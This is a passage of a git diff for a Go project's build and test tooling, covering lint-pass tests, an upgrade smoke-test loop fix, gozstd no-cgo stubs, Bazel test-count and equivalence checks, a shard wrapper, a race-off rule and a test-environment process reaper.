t.Fatalf("run exit = %d, want 0; stderr=%s", code, stderr.String()) } - if len(runner.runCommands) != 1 { - t.Fatalf("lint calls = %d, want 1", len(runner.runCommands)) + // The native pass already covers windows/non-CGO, so only the native and + // darwin cross-target passes remain. + if len(runner.runCommands) != 2 { + t.Fatalf("lint calls = %d, want 2", len(runner.runCommands)) } - if !strings.Contains(stdout.String(), "already covered by native pass") { + assertEnvironmentValue(t, runner.runCommands[1].env, "GOOS", "darwin", false) + if !strings.Contains(stdout.String(), "==> golangci-lint (windows/amd64, non-CGO) already covered by native pass") { + t.Fatalf("missing duplicate-pass diagnostic:\n%s", stdout.String()) + } +} + +func TestRunSkipsDuplicateNativeDarwinNonCGOPass(t *testing.T) { + runner := &recordingRunner{ + paths: map[string]string{ + "go": "go", + "golangci-lint": "golangci-lint", + }, + goEnvOutput: `{"GOOS":"darwin","CGO_ENABLED":"0"}`, + } + var stdout bytes.Buffer + var stderr bytes.Buffer + + code := run(nil, "/repo", []string{"CGO_ENABLED=0"}, &stdout, &stderr, runner) + if code != 0 { + t.Fatalf("run exit = %d, want 0; stderr=%s", code, stderr.String()) + } + // The native pass already covers darwin/non-CGO, so only the native and + // windows cross-target passes remain. + if len(runner.runCommands) != 2 { + t.Fatalf("lint calls = %d, want 2", len(runner.runCommands)) + } + assertEnvironmentValue(t, runner.runCommands[1].env, "GOOS", "windows", false) + if !strings.Contains(stdout.String(), "==> golangci-lint (darwin/arm64, non-CGO) already covered by native pass") { t.Fatalf("missing duplicate-pass diagnostic:\n%s", stdout.String()) } } @@ -223,8 +258,8 @@ func TestRunParsesGoEnvStdoutWhenSuccessfulCommandWarnsOnStderr(t *testing.T) { if strings.Contains(stderr.String(), "parse native Go target") { t.Fatalf("go env stderr corrupted stdout JSON parsing: %q", stderr.String()) } - if len(runner.runCommands) != 1 { - t.Fatalf("lint calls = %d, want one native Windows/non-CGO pass", len(runner.runCommands)) + if len(runner.runCommands) != 2 { + t.Fatalf("lint calls = %d, want the native Windows/non-CGO pass plus the darwin cross-lint", len(runner.runCommands)) } } diff --git a/scripts/prlintmake/prlintmake_test.go b/scripts/prlintmake/prlintmake_test.go index 256f146f7..022dbe449 100644 --- a/scripts/prlintmake/prlintmake_test.go +++ b/scripts/prlintmake/prlintmake_test.go @@ -72,8 +72,8 @@ func TestPRLintWrapperDelegatesPolicyToCheckoutGoDriver(t *testing.T) { t.Fatalf("driver environment missing %q:\n%s", want, run.goEnvironment) } } - if !strings.Contains(run.output, "==> golangci-lint (native + windows/non-CGO)") || - !strings.Contains(run.output, "<== golangci-lint (native + windows/non-CGO) succeeded") { + if !strings.Contains(run.output, "==> golangci-lint (native + windows/darwin non-CGO)") || + !strings.Contains(run.output, "<== golangci-lint (native + windows/darwin non-CGO) succeeded") { t.Fatalf("aggregate lint timing is not attributable:\n%s", run.output) } } diff --git a/scripts/upgrade-smoke-test.sh b/scripts/upgrade-smoke-test.sh index 46f249c8b..d5d426b4f 100755 --- a/scripts/upgrade-smoke-test.sh +++ b/scripts/upgrade-smoke-test.sh @@ -50,7 +50,7 @@ if [ -n "${SMOKE_VERSIONS:-}" ]; then # Run ourselves once per version, collecting exit codes OVERALL_FAIL=0 for _ver in $SMOKE_VERSIONS; do - if ! CANDIDATE_BIN="${CANDIDATE_BIN:-}" "$0" "$_ver"; then + if ! SMOKE_VERSIONS= CANDIDATE_BIN="${CANDIDATE_BIN:-}" "$0" "$_ver"; then OVERALL_FAIL=1 fi done diff --git a/scripts/upgrade_smoke_loop_test.go b/scripts/upgrade_smoke_loop_test.go new file mode 100644 index 000000000..39ce07ab4 --- /dev/null +++ b/scripts/upgrade_smoke_loop_test.go @@ -0,0 +1,111 @@ +package scripts_test + +import ( + "context" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "testing" + "time" +) + +func TestUpgradeSmokeMultiVersionDispatch(t *testing.T) { + bash, err := exec.LookPath("bash") + if err != nil { + t.Fatal(err) + } + for _, tc := range []struct { + name, candidate, failVersion string + wantExit int + }{ + {"prebuilt", "candidate with spaces/bd", "", 0}, + {"automatic", "", "", 0}, + {"continues after failure", "candidate with spaces/bd", "v0.61.0", 1}, + } { + t.Run(tc.name, func(t *testing.T) { + dir := t.TempDir() + const scriptPath = "scripts/upgrade-smoke-test.sh" + const candidateHelper = "scripts/lib/smoke-candidate.sh" + script, err := os.ReadFile(filepath.Join(sourceRepoRoot(t), scriptPath)) + if err != nil { + t.Fatal(err) + } + shebang, body, ok := strings.Cut(string(script), "\n") + if !ok || !strings.HasPrefix(shebang, "#!") { + t.Fatal("upgrade smoke entrypoint must start with a shebang") + } + // Observe the child's script body, where Bash 3.2 has assigned positional arguments. + // The actual dispatch body below this insertion stays byte-for-byte unchanged. + const observer = `if [ -z "${BEADS_LOOP_ROOT:-}" ]; then + export BEADS_LOOP_ROOT=1 +else + if [ -z "${1:-}" ]; then + printf 'child version is empty (BASH_VERSION=%s)\n' "${BASH_VERSION:-unknown}" >&2 + exit 43 + fi + printf '%s\t%s\t%s\n' "$1" "${CANDIDATE_BIN:-}" "${SMOKE_VERSIONS:-}" >> calls + if [ -n "${SMOKE_VERSIONS:-}" ]; then + printf 'child inherited loop control (BASH_VERSION=%s)\n' "${BASH_VERSION:-unknown}" >&2 + exit 42 + fi + [ "$1" != "${BEADS_LOOP_FAIL:-}" ] || exit 19 + exit 0 +fi +` + script = []byte(shebang + "\n" + observer + body) + for _, path := range []string{scriptPath, ".buildflags", candidateHelper} { + data := script + mode := os.FileMode(0644) + if path == scriptPath { + mode = 0755 + } else { + data, err = os.ReadFile(filepath.Join(sourceRepoRoot(t), path)) + if err != nil { + // Standalone sources predate the helper; a composed reference requires it. + if path == candidateHelper && os.IsNotExist(err) && !strings.Contains(body, "smoke-candidate.sh") { + continue + } + t.Fatal(err) + } + } + destination := filepath.Join(dir, path) + if err := os.MkdirAll(filepath.Dir(destination), 0755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(destination, data, mode); err != nil { + t.Fatal(err) + } + } + path := os.Getenv("PATH") + if runtime.GOOS == "windows" { + path = "/usr/bin:/bin" + } + // Relative fixture paths use the same mount under both Bash invocations. + // HOME stays absent to stop a child missing the observer before smoke setup. + env := []string{"PATH=" + path, "LC_ALL=C", "LANG=C", "ENV=", "BASH_ENV=", + "BEADS_LOOP_FAIL=" + tc.failVersion, "CANDIDATE_BIN=" + tc.candidate, + "SMOKE_VERSIONS=v0.62.0 v0.61.0 v0.60.0"} + ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + cmd := exec.CommandContext(ctx, bash, "--noprofile", "--norc", "scripts/upgrade-smoke-test.sh") + cmd.Dir, cmd.Env = dir, env + out, err := cmd.CombinedOutput() + if ctx.Err() != nil || cmd.ProcessState == nil || cmd.ProcessState.ExitCode() != tc.wantExit { + t.Fatalf("dispatch exit = %v, want %d: %s", err, tc.wantExit, out) + } + got, err := os.ReadFile(filepath.Join(dir, "calls")) + if err != nil { + t.Fatalf("read child dispatch: %v; output: %s", err, out) + } + var want strings.Builder + for _, version := range []string{"v0.62.0", "v0.61.0", "v0.60.0"} { + want.WriteString(version + "\t" + tc.candidate + "\t\n") + } + if string(got) != want.String() { + t.Fatalf("child dispatch = %q, want %q; output: %s", got, want.String(), out) + } + }) + } +} diff --git a/tests/regression/regression_test.go b/tests/regression/regression_test.go index feb9d5339..6683ee982 100644 --- a/tests/regression/regression_test.go +++ b/tests/regression/regression_test.go @@ -69,7 +69,9 @@ func testMainInner(m *testing.M) int { // AD-01 (be-c5p): allow regression tests to connect to the test container. os.Setenv("BEADS_TEST_SERVER", "1") if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + return 1 + } } else { defer testutil.TerminateDoltContainer() testDoltServerPort = testutil.DoltContainerPortInt() diff --git a/third_party/patches/BUILD.bazel b/third_party/patches/BUILD.bazel index 31c29bfc2..247e7f244 100644 --- a/third_party/patches/BUILD.bazel +++ b/third_party/patches/BUILD.bazel @@ -6,6 +6,11 @@ # dolt_go_serial.patch are adapted from the gascity project # (github.com/gastownhall/gascity, third_party/patches). Keep them in sync # when bumping the pinned dolt versions in go.mod. +# +# gozstd_nocgo.patch is beads' own: panicking !cgo stubs for the gozstd API +# dolt uses, so `--config=pure` (CGO off) can compile store/nbs, which rules_go +# builds as a declared dep even though no pure-Go file imports it. Their init +# panics, so a pure binary that does link gozstd fails when started. package(default_visibility = ["//visibility:public"]) diff --git a/third_party/patches/gozstd_nocgo.patch b/third_party/patches/gozstd_nocgo.patch new file mode 100644 index 000000000..f874a6b0e --- /dev/null +++ b/third_party/patches/gozstd_nocgo.patch @@ -0,0 +1,69 @@ +diff --git a/BUILD.bazel b/BUILD.bazel +--- a/BUILD.bazel ++++ b/BUILD.bazel +@@ -25,6 +25,7 @@ go_library( + "fse_compress.c", + "fse_decompress.c", + "gozstd.go", ++ "nocgo.go", + "hist.c", + "hist.h", + "huf.h", +diff --git a/nocgo.go b/nocgo.go +new file mode 100644 +--- /dev/null ++++ b/nocgo.go +@@ -0,0 +1,44 @@ ++//go:build !cgo ++ ++// Added by beads (third_party/patches/gozstd_nocgo.patch). gozstd wraps the ++// zstd C library, so without cgo it does not compile, and rules_go compiles ++// every declared dep even when only cgo-constrained files import it. These ++// stubs let `bazel build --config=pure` compile dolt's store/nbs (a dep of ++// beads' cgo-only embedded-Dolt files); `go build` never compiles them because ++// a CGO_ENABLED=0 bd does not import nbs. The package init panics, so a pure ++// binary that links gozstd (the contamination `go build` rejects with ++// CGO_ENABLED=0) fails at startup; bazel.yml's pure lane runs every pure ++// artifact to catch it. The entry points panic as well. ++package gozstd ++ ++const DefaultCompressionLevel = 3 ++ ++const errNoCgo = "gozstd: built without cgo" ++ ++func init() { panic(errNoCgo + " (linked into a pure binary)") } ++ ++type CDict struct{} ++ ++type DDict struct{} ++ ++func (cd *CDict) Release() {} ++ ++func (dd *DDict) Release() {} ++ ++func NewCDict(dict []byte) (*CDict, error) { panic(errNoCgo) } ++ ++func NewCDictLevel(dict []byte, compressionLevel int) (*CDict, error) { panic(errNoCgo) } ++ ++func NewDDict(dict []byte) (*DDict, error) { panic(errNoCgo) } ++ ++func BuildDict(samples [][]byte, desiredDictLen int) []byte { panic(errNoCgo) } ++ ++func Compress(dst, src []byte) []byte { panic(errNoCgo) } ++ ++func CompressLevel(dst, src []byte, compressionLevel int) []byte { panic(errNoCgo) } ++ ++func CompressDict(dst, src []byte, cd *CDict) []byte { panic(errNoCgo) } ++ ++func Decompress(dst, src []byte) ([]byte, error) { panic(errNoCgo) } ++ ++func DecompressDict(dst, src []byte, dd *DDict) ([]byte, error) { panic(errNoCgo) } +diff --git a/stream.go b/stream.go +--- a/stream.go ++++ b/stream.go +@@ -1,3 +1,5 @@ ++//go:build cgo ++ + package gozstd + + import ( diff --git a/tools/bazel/BUILD.bazel b/tools/bazel/BUILD.bazel index 9d7afb436..19e36ec2e 100644 --- a/tools/bazel/BUILD.bazel +++ b/tools/bazel/BUILD.bazel @@ -25,6 +25,14 @@ exports_files( visibility = ["//visibility:public"], ) +# sh_test src that runs one Bazel shard of an existing go_test binary through +# a PR Risk manifest shard script (see the script header), e.g. +# //cmd/bd:bd_embedded_test. +exports_files( + ["go_test_manifest_shard.sh"], + visibility = ["//visibility:public"], +) + # Wraps every test process (`test --run_under` in .bazelrc) with the isolated # HOME/XDG/Dolt/git environment that scripts/ci/lib/test-env.sh gives `go test`. # Bazel merges the run_under target's runfiles into every test's runfiles, so diff --git a/tools/bazel/check_testcases.py b/tools/bazel/check_testcases.py new file mode 100755 index 000000000..0b89ee2ad --- /dev/null +++ b/tools/bazel/check_testcases.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python3 +"""Fail if a Bazel test (or any shard of it) ran no Go tests. + +Usage: check_testcases.py --bep [--testlogs DIR] + [--not-go LABEL ...] + +A test target whose Go binary matches no test still exits 0: a shard script +whose manifest assigns a shard nothing ("no tests assigned"), a -test.run +selector that matches nothing, a manifest missing from runfiles. This reads +the tests a `bazel test` invocation ran from its BEP and requires every +target's test.xml, and every shard's, to list at least one top-level + (a Test* name without "/"). It needs the test.xml files locally +(--remote_download_regex=.*/test\\.xml$) and -test.v in them +(GO_TEST_WRAP_TESTV=1), as --config=ci, --config=embedded and +--config=integration set. + +--not-go LABEL exempts a test that is not a Go binary (a plain sh_test such +as //tools/bazel:dolt_version_test, whose test.xml Bazel writes with no Go +testcases) from the count. The label must still be in the BEP: an +exemption for a target the run did not test is an error, so a stale one +cannot linger. + +Exit status: 0 if every test.xml lists a test, 1 otherwise (including a BEP +with no test results at all). +""" + +import argparse +import os +import sys +import xml.etree.ElementTree as ET + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from equivalence import read_bep, testlog_xmls # noqa: E402 + + +def count_testcases(xml_path): + """Return the number of top-level Go tests in a test.xml.""" + n = 0 + for tc in ET.parse(xml_path).getroot().iter("testcase"): + name = tc.get("name", "") + if name.startswith("Test") and "/" not in name: + n += 1 + return n + + +def check(tested, testlogs, not_go=()): + """Return ([(xml path, count)], [problems]) for {label: shard_count}.""" + counts, problems = [], [] + if not tested: + problems.append("the BEP lists no test results") + for label in sorted(set(not_go) - set(tested)): + problems.append(f"{label}: --not-go, but the BEP has no result for it") + for label, shards in sorted(tested.items()): + if label in not_go: + continue + for xml_path in testlog_xmls(testlogs, label, shards): + rel = os.path.relpath(xml_path, testlogs) + if not os.path.exists(xml_path): + problems.append(f"{label}: {rel} missing (was test.xml downloaded?)") + continue + try: + n = count_testcases(xml_path) + except ET.ParseError as e: + problems.append(f"{label}: cannot parse {rel}: {e}") + continue + counts.append((rel, n)) + if n == 0: + problems.append(f"{label}: {rel} lists no tests") + return counts, problems + + +def main(argv=None): + ap = argparse.ArgumentParser(description=__doc__.split("\n\n")[0]) + ap.add_argument("--bep", required=True, help="--build_event_json_file of the bazel test run") + ap.add_argument("--testlogs", default=None, help="default: from the BEP, else ./bazel-testlogs") + ap.add_argument("--not-go", action="append", default=[], metavar="LABEL", + help="a tested non-Go target to leave out of the count (repeatable)") + args = ap.parse_args(argv) + + tested, _, bep_testlogs = read_bep(args.bep) + testlogs = args.testlogs or bep_testlogs or "bazel-testlogs" + counts, problems = check(tested, testlogs, set(args.not_go)) + for rel, n in counts: + print(f"{n:5d} {rel}") + total = sum(n for _, n in counts) + print(f"{len(tested)} targets, {len(counts)} test.xml, {total} top-level tests") + for p in problems: + print(f"FAIL: {p}", file=sys.stderr) + return 1 if problems else 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/bazel/equivalence.py b/tools/bazel/equivalence.py index acb2132b0..256c7c248 100644 --- a/tools/bazel/equivalence.py +++ b/tools/bazel/equivalence.py @@ -30,6 +30,19 @@ Two checks always run, a third when `go test -json` output is supplied: test but run under Bazel) are reported, not failed: a failing test already fails its own lane. +Job mode (--job, with --go-test-json): the go test JSON is the whole expected +set instead of `go list ./...`. Use it to prove that a Bazel selection (one or +more --bep runs, e.g. --config=ci plus --config=docker) replaces one specific +CI job: every top-level test the job's command ran must have run under Bazel, +Bazel must run no other test in those packages (TestEmbedded* included: job +mode has no implicit ^TestEmbedded skip, so it can check the embedded tier), and no test the job passed may +be skipped under Bazel. A test seen in several targets (a go_test and its +go_test_variant.sh sh_test) keeps its best status here, since each variant is +a different way of running it and the job needs one run that does what it +does; the default mode keeps the worst. A failure in any target still fails a +job comparison (listed per target), and so does a missing test.xml of any +target in the job's packages, variant or not. + Divergences listed in the allowlist (tools/bazel/equivalence_allowlist.txt) are expected; anything else fails. The allowlist format is one entry per line: @@ -58,6 +71,9 @@ GO_LIST_ARGS = ["list", "-e", "-race", "-tags", "gms_pure_go", "-json", "./..."] SKIP_RE = re.compile(r"^TestEmbedded") TEST_FUNC_RE = re.compile(r"^func\s+(Test\w*)\s*\(\s*\w+\s+\*testing\.T\s*\)", re.M) STATUS_RANK = {"skipped": 0, "passed": 1, "failed": 2} +# Job mode: the variant that actually ran a test wins (a failure still fails +# the Bazel run that produced it). +BEST_RANK = {"failed": 0, "skipped": 1, "passed": 2} GO_TEST_STATUS = {"pass": "passed", "fail": "failed", "skip": "skipped"} ALLOW_KINDS = ("run", "skip") DEFAULT_ALLOWLIST = os.path.join(os.path.dirname(os.path.abspath(__file__)), "equivalence_allowlist.txt") @@ -142,10 +158,16 @@ def query_go_test_pkgs(root, bazel): return {label_pkg(l) for l in out.split()} +# go_test_variant.sh variants are sh_tests that run a go_test binary, which +# writes the same test.xml. +TEST_KINDS = ("go_test rule", "sh_test rule") + + def read_bep(path): - """Return ({label: shard_count} for tested go_test targets, set of go_test - labels configured, this invocation's testlogs dir or None).""" - go_tests, shards = set(), {} + """Return ({label: shard_count} for tested go_test targets and sh_test + variants, set of go_test labels configured, this invocation's testlogs dir + or None).""" + go_tests, tests, shards = set(), set(), {} exec_root, testlogs_rel = None, None with open(path, encoding="utf-8") as f: for line in f: @@ -160,12 +182,15 @@ def read_bep(path): if link.get("path", "").endswith("testlogs") and link.get("target"): testlogs_rel = link["target"] elif "targetConfigured" in eid: - if ev.get("configured", {}).get("targetKind") == "go_test rule": + kind = ev.get("configured", {}).get("targetKind") + if kind in TEST_KINDS: + tests.add(eid["targetConfigured"]["label"]) + if kind == "go_test rule": go_tests.add(eid["targetConfigured"]["label"]) elif "testResult" in eid: tr = eid["testResult"] shards[tr["label"]] = max(shards.get(tr["label"], 0), int(tr.get("shard", 1) or 1)) - tested = {l: n for l, n in shards.items() if l in go_tests} + tested = {l: n for l, n in shards.items() if l in tests} testlogs = None if exec_root and testlogs_rel: # The symlink target is relative to the output base, two levels above @@ -183,14 +208,24 @@ def testlog_xmls(testlogs, label, shard_count): return [os.path.join(base, f"shard_{i}_of_{shard_count}", "test.xml") for i in range(1, shard_count + 1)] -def bazel_observed(tested, testlogs): - """Return ({pkg: {test: status}}, [problems]).""" - observed, problems = {}, [] +def bazel_observed(tested, testlogs, go_tests, best=False, observed=None, failures=None, no_xml=None): + """Return ({pkg: {test: status}}, [problems]), merged into observed. + + Job mode (best) also collects (pkg, "Test (label)") for every failed test + in failures and (pkg, label) for every missing test.xml in no_xml.""" + observed, problems = ({} if observed is None else observed), [] for label, n in sorted(tested.items()): pkg = label_pkg(label) per = observed.setdefault(pkg, {}) for xml_path in testlog_xmls(testlogs, label, n): if not os.path.exists(xml_path): + if best and no_xml is not None: + # Bazel writes a test.xml for every test, so a variant's + # is missing only if it was never downloaded. + no_xml.append((pkg, f"{label}: {os.path.relpath(xml_path, testlogs)}")) + continue + if label not in go_tests: + continue # an sh_test that is not a variant may write none problems.append(f"{label}: {xml_path} missing (was test.xml downloaded? run with --config=ci)") continue try: @@ -211,10 +246,14 @@ def bazel_observed(tested, testlogs): status = "skipped" else: status = "passed" - # A test seen in several targets keeps its worst status. - if name not in per or STATUS_RANK[status] > STATUS_RANK[per[name]]: + if status == "failed" and failures is not None: + failures.append((pkg, f"{name} ({label})")) + # A test seen in several targets keeps its worst status (best in + # job mode). + rank = BEST_RANK if best else STATUS_RANK + if name not in per or rank[status] > rank[per[name]]: per[name] = status - if count == 0 and os.path.getsize(xml_path) < 64: + if count == 0 and label in go_tests and os.path.getsize(xml_path) < 64: # An empty means the binary ran no tests at all # (or GO_TEST_WRAP_TESTV was off). The test-name diff reports # which tests are missing; note it here for the log. @@ -253,7 +292,10 @@ def allowed(entries, pkg, test, kind="run"): def main(argv=None): ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) - ap.add_argument("--bep", required=True, help="--build_event_json_file of the bazel test run") + ap.add_argument( + "--bep", required=True, action="append", + help="--build_event_json_file of a bazel test run (repeatable: results are merged)", + ) ap.add_argument("--root", default=os.getcwd(), help="workspace root (default: cwd)") ap.add_argument("--testlogs", default=None, help="default: from the BEP, else /bazel-testlogs") ap.add_argument("--allowlist", default=DEFAULT_ALLOWLIST) @@ -266,18 +308,40 @@ def main(argv=None): ap.add_argument("--no-query", action="store_true", help="skip the bazel query package-set check") ap.add_argument("--details", action="store_true", help="list every divergence (nightly)") ap.add_argument("--summary", default=None, help="append Markdown here (default: $GITHUB_STEP_SUMMARY)") + ap.add_argument( + "--job", action="store_true", + help="compare with --go-test-json as one CI job's complete test set (see Job mode above)", + ) args = ap.parse_args(argv) + if args.job and not args.go_test_json: + ap.error("--job needs --go-test-json") root = os.path.abspath(args.root) entries, allow_errors = load_allowlist(args.allowlist) expected, dirs = go_expected(root, args.go_list_json) - tested, configured, bep_testlogs = read_bep(args.bep) - # Prefer the BEP's own testlogs dir: the bazel-testlogs symlink follows - # whatever bazel command ran last, possibly in another output base. - testlogs = args.testlogs or bep_testlogs or os.path.join(root, "bazel-testlogs") - observed, problems = bazel_observed(tested, testlogs) - target_pkgs = None if args.no_query else query_go_test_pkgs(root, args.bazel) + observed, problems, configured, tested = {}, [], set(), {} + failures, no_xml = [], [] + for bep in args.bep: + bep_tested, bep_configured, bep_testlogs = read_bep(bep) + configured |= bep_configured + tested.update(bep_tested) + # Prefer the BEP's own testlogs dir: the bazel-testlogs symlink follows + # whatever bazel command ran last, possibly in another output base. + testlogs = args.testlogs or bep_testlogs or os.path.join(root, "bazel-testlogs") + _, bep_problems = bazel_observed( + bep_tested, testlogs, bep_configured, args.job, observed, + failures if args.job else None, no_xml if args.job else None) + problems += bep_problems + target_pkgs = None if (args.no_query or args.job) else query_go_test_pkgs(root, args.bazel) + go_status = go_test_statuses(args.go_test_json, dirs) if args.go_test_json else None + if args.job: + # The job's own results are the expected set; other packages Bazel + # ran are out of scope. + expected = {pkg: set(ts) for pkg, ts in go_status.items()} + observed = {pkg: seen for pkg, seen in observed.items() if pkg in expected} + failures = sorted(set(f for f in failures if f[0] in expected)) + no_xml = sorted(set(m for m in no_xml if m[0] in expected)) no_target, missing, extra, allowlisted = [], [], [], [] if target_pkgs is not None: @@ -289,13 +353,14 @@ def main(argv=None): (allowlisted if allowed(entries, pkg, t) else missing).append((pkg, t)) for pkg, seen in sorted(observed.items()): for t in sorted(set(seen) - expected.get(pkg, set())): - if SKIP_RE.search(t): + # The --config=ci lane skips ^TestEmbedded; a job comparison has + # no implicit skip (the embedded tier's jobs run exactly those). + if not args.job and SKIP_RE.search(t): continue (allowlisted if allowed(entries, pkg, t) else extra).append((pkg, t)) # Skip parity: passed under go test, skipped under Bazel. skip_div, skip_allowed, parity_notes = [], [], [] - go_status = go_test_statuses(args.go_test_json, dirs) if args.go_test_json else None if go_status is not None: for pkg, seen in sorted(observed.items()): gs = go_status.get(pkg, {}) @@ -312,14 +377,16 @@ def main(argv=None): # Dedupe allowlisted pairs (a package-level entry also covers its tests). allowlisted = sorted(set(allowlisted)) # Skip entries can only be exercised when go test statuses are known. - unused = [e for e in entries if not e["used"] and (e["kind"] == "run" or go_status is not None)] + # (The allowlist describes the --config=ci lane; a job comparison uses only + # the entries that apply.) + unused = [] if args.job else [e for e in entries if not e["used"] and (e["kind"] == "run" or go_status is not None)] statuses = {"passed": 0, "skipped": 0, "failed": 0} for seen in observed.values(): for s in seen.values(): statuses[s] += 1 n_expected = sum(len(v) for v in expected.values()) - ok = not (no_target or missing or extra or skip_div or allow_errors) + ok = not (no_target or missing or extra or skip_div or failures or no_xml or allow_errors) limit = None if args.details else 40 @@ -332,7 +399,8 @@ def main(argv=None): return out lines = [ - f"go test: {len(expected)} packages with tests, {n_expected} top-level tests (excluding ^TestEmbedded)", + f"go test: {len(expected)} packages with tests, {n_expected} top-level tests" + + ("" if args.job else " (excluding ^TestEmbedded)"), f"bazel: {len(configured)} go_test targets configured, {len(tested)} tested; " f"{sum(len(v) for v in observed.values())} top-level tests seen " f"({statuses['passed']} passed, {statuses['skipped']} skipped, {statuses['failed']} failed)", @@ -353,6 +421,8 @@ def main(argv=None): ("tests go test runs that Bazel did not", missing), ("tests Bazel ran that go test would not", extra), ("tests go test passed that Bazel skipped", skip_div), + ("tests that failed in a Bazel target", failures), + ("Bazel targets without test.xml", no_xml), ): if pairs: lines += listing(title, pairs) diff --git a/tools/bazel/go_test_manifest_shard.sh b/tools/bazel/go_test_manifest_shard.sh new file mode 100755 index 000000000..473e53bf3 --- /dev/null +++ b/tools/bazel/go_test_manifest_shard.sh @@ -0,0 +1,44 @@ +#!/usr/bin/env bash +# Runs one Bazel shard of an existing go_test binary through a PR Risk shard +# script (.github/scripts/embedded-test-shard.sh, +# embedded-storage-test-shard.sh, proxied-test-shard.sh, +# server-storage-test-shard.sh), so the Bazel target runs exactly the tests +# the CI job with the same shard number does: the same discovery, the same +# committed manifest and hash fallback, the same binary flags. Like +# go_test_variant.sh it reuses the go_test's binary instead of compiling the +# package again. +# +# Usage: go_test_manifest_shard.sh +# [binary args...] +# , : runfiles paths ($(rootpath ...)), relative to +# the workspace runfiles directory, which is the test's working directory +# and where the script's source globs (cmd/bd/*_embedded_test.go, ...) +# resolve. +# : the variable the script reads the binary path from +# (BEADS_TEST_CMD_BINARY, BEADS_TEST_EMBEDDED_TEST_BINARY or +# BEADS_TEST_SERVER_TEST_BINARY); set to an +# absolute path, since tests re-exec it from their package directory. +# The remaining arguments (and any --test_arg) follow the script's own +# binary flags. +# +# Bazel's shard k of n (shard_count must equal the manifest's shard total) +# becomes the script's shard k+1 of n. The binary itself must not shard again, +# so TEST_TOTAL_SHARDS/TEST_SHARD_INDEX are removed after this wrapper tells +# Bazel it supports sharding. The go_test's own `env` is not inherited (see +# go_test_variant.sh); the target repeats it. +set -euo pipefail +script="$1" +bin_var="$2" +bin="$3" +shift 3 + +total="${TEST_TOTAL_SHARDS:-1}" +index="${TEST_SHARD_INDEX:-0}" +if [[ -n "${TEST_SHARD_STATUS_FILE:-}" ]]; then + touch "$TEST_SHARD_STATUS_FILE" +fi +unset TEST_TOTAL_SHARDS TEST_SHARD_INDEX TEST_SHARD_STATUS_FILE + +export GO_TEST_RUN_FROM_BAZEL=1 +export "$bin_var=$PWD/$bin" +exec bash "$script" "$((index + 1))" "$total" "$@" diff --git a/tools/bazel/race.bzl b/tools/bazel/race.bzl new file mode 100644 index 000000000..570efcb3d --- /dev/null +++ b/tools/bazel/race.bzl @@ -0,0 +1,55 @@ +"""go_test_race_off: an existing go_test built without the race detector. + +The docker lane (--config=docker) sets --@rules_go//go/config:race for every +target, because pr.yml's container jobs run `go test -race`, except the +Contract corpus job, which does not. A go_test_variant.sh sh_test over this +rule's output runs such a package the way that job does, without a second +go_test rule (whose srcs gazelle would not maintain). The go_test keeps its own +`race = "auto"` and so follows the setting this transition gives it. +""" + +_RACE = "@rules_go//go/config:race" + +# rules_go's go_transition (go_binary/go_test with race = "off", e.g. +# //cmd/bd:bd_for_tests) records the setting it overrides in this private +# flag. Recording it the same way puts the test's deps in the configuration +# bd_for_tests already builds them in, instead of a second non-race copy of +# the whole graph. +_ORIGINAL_RACE = "@rules_go//go/private/rules:original_race" + +def _race_off_impl(settings, _attr): + out = {_RACE: False, _ORIGINAL_RACE: settings[_ORIGINAL_RACE]} + if settings[_RACE] and not settings[_ORIGINAL_RACE]: + out[_ORIGINAL_RACE] = json.encode(True) + return out + +_race_off = transition( + implementation = _race_off_impl, + inputs = [_RACE, _ORIGINAL_RACE], + outputs = [_RACE, _ORIGINAL_RACE], +) + +def _go_test_race_off_impl(ctx): + target = ctx.attr.test[0] + src = target[DefaultInfo].files_to_run.executable + out = ctx.actions.declare_file(ctx.label.name) + ctx.actions.symlink(output = out, target_file = src, is_executable = True) + runfiles = ctx.runfiles(files = [out]).merge(target[DefaultInfo].default_runfiles) + return [DefaultInfo(files = depset([out]), runfiles = runfiles, executable = out)] + +_go_test_race_off = rule( + implementation = _go_test_race_off_impl, + doc = "The executable of `test`, built with --@rules_go//go/config:race=false.", + attrs = { + "test": attr.label( + cfg = _race_off, + executable = True, + mandatory = True, + ), + }, + executable = True, +) + +def go_test_race_off(name, test, **kwargs): + """Declares `name`, the executable of go_test `test` built without race.""" + _go_test_race_off(name = name, test = test, testonly = True, **kwargs) diff --git a/tools/bazel/test_env.sh b/tools/bazel/test_env.sh index fec7b5313..dbaaecd1c 100755 --- a/tools/bazel/test_env.sh +++ b/tools/bazel/test_env.sh @@ -14,19 +14,68 @@ set -euo pipefail root="$(mktemp -d /tmp/bbt.XXXXXX)" +# Kill every process that still names this action's private root in its +# command line: a detached bd db-proxy-child (Setsid, its own process group) +# and the dolt sql-server it started carry $root in --root, --config or +# --logpath. When Bazel times a test out it signals the process group, which +# misses them, and a proxy that dies without an idle timeout leaves its server +# orphaned on a persistent remote worker. $root is a fresh mktemp path, so the +# match cannot reach an unrelated process; this wrapper's own command line +# never contains it, and pkill never matches itself. The '.' in bbt.XXXXXX is +# escaped because pkill -f takes an extended regex. Two passes: a proxy killed +# in the middle of the first may have forked a new server. Without pkill, fall +# back to scanning /proc; without either, skip. +# shellcheck disable=SC2317 # invoked from the EXIT trap +reap_root_processes() { + local uid pid cmd argv + uid="$(id -u 2>/dev/null)" || return 0 + if command -v pkill >/dev/null 2>&1; then + local pattern="${root//./\\.}/" + pkill -KILL -U "$uid" -f -- "$pattern" 2>/dev/null || true + pkill -KILL -U "$uid" -f -- "$pattern" 2>/dev/null || true + elif [[ -d /proc/self ]]; then + for _ in 1 2; do + for cmd in /proc/[0-9]*/cmdline; do + pid="${cmd#/proc/}" + pid="${pid%/cmdline}" + [[ "$pid" == "$$" || "$pid" == "$BASHPID" ]] && continue + argv="$(tr '\0' ' ' <"$cmd" 2>/dev/null)" || continue + if [[ "$argv" == *"$root/"* ]]; then + kill -KILL "$pid" 2>/dev/null || true + fi + done + done + fi + return 0 +} # Cleanup must never change the test's exit 